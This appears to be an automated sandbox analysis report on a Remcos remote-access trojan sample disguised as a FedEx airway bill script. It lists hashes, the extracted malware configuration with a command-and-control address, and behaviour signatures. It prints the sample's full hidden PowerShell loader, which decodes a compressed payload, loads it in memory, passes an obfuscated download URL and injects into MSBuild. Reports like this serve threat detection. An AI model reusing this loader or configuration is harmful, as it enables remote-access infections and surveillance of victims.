remcos | 61618b5e2e29afcdb55f5798436aea8cf7d885beeba204e1775004646b659a3b

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 09:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
889017950847_AWB_FedEx.js
Size 15.0MB
Sample260604-la19jscy3n
SHA256 61618b5e2e29afcdb55f5798436aea8cf7d885beeba204e1775004646b659a3b
MD5 fd9763ab352ff7e12085226ce020392f
SHA1 fc8040565f0e30bd0dc5be139100cbba13edf53e
SHA512 b385b052bee1357c2d04c436b8a9345738a27dee27648ebdaf80f827b2e261c9f8303aae10d32327bd29fc886e50292bb7e5cf0f3a574dc5b1b06ac70219a86d
SSDEEP 384:wRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQbRQK://Wz
TLSH
T114F6F88F78810F20DCF1B5CEC0556F3B5FA99E616EBEB12A30D529D9895D800E390BD9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remote execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.2.5 Pro

Botnet

Remote

64.89.160.69:8080

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-NSNX6T
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3484	4432	powershell.exe	80

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3484	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\889017950847_AWB_FedEx.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\889017950847_AWB_FedEx.js	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3484 set thread context of 5948	3484	powershell.exe	83

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3484	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83
PID 3484 wrote to memory of 5948	3484	powershell.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\889017950847_AWB_FedEx.js
1⤵
- Drops startup file
PID:6140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://erf.pybhqvanel.pbz/qcx0focfk/vzntr/hcybnq/i1780468521/vzt_233448_et8iq6.wct','0','P:HfrefChoyvpQbjaybnqf','roMomBX0VV','ZFOhvyq','0','ZFOhvyq','0','','P:HfrefChoyvpQbjaybnqf','roMomBX0VV','','1','0','wgkm6vGfs2','0','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  2⤵
  PID:5948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_pdgosjrj.zme.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdgosjrj.zme.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3484-2-0x0000022B2BF80000-0x0000022B2BF90000-memory.dmp

Download

memory/3484-1-0x0000022B2BF80000-0x0000022B2BF90000-memory.dmp

Download

memory/3484-8-0x0000022B13A20000-0x0000022B13A42000-memory.dmp

Download

memory/3484-10-0x0000022B2BF80000-0x0000022B2BF90000-memory.dmp

Download

memory/3484-11-0x0000022B2BE00000-0x0000022B2BEB4000-memory.dmp

Download

memory/3484-12-0x0000022B13A10000-0x0000022B13A1A000-memory.dmp

Download

memory/5948-16-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-13-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-20-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-18-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-17-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-21-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-22-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-23-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-24-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/5948-25-0x0000000140000000-0x00000001400AB000-memory.dmp

Download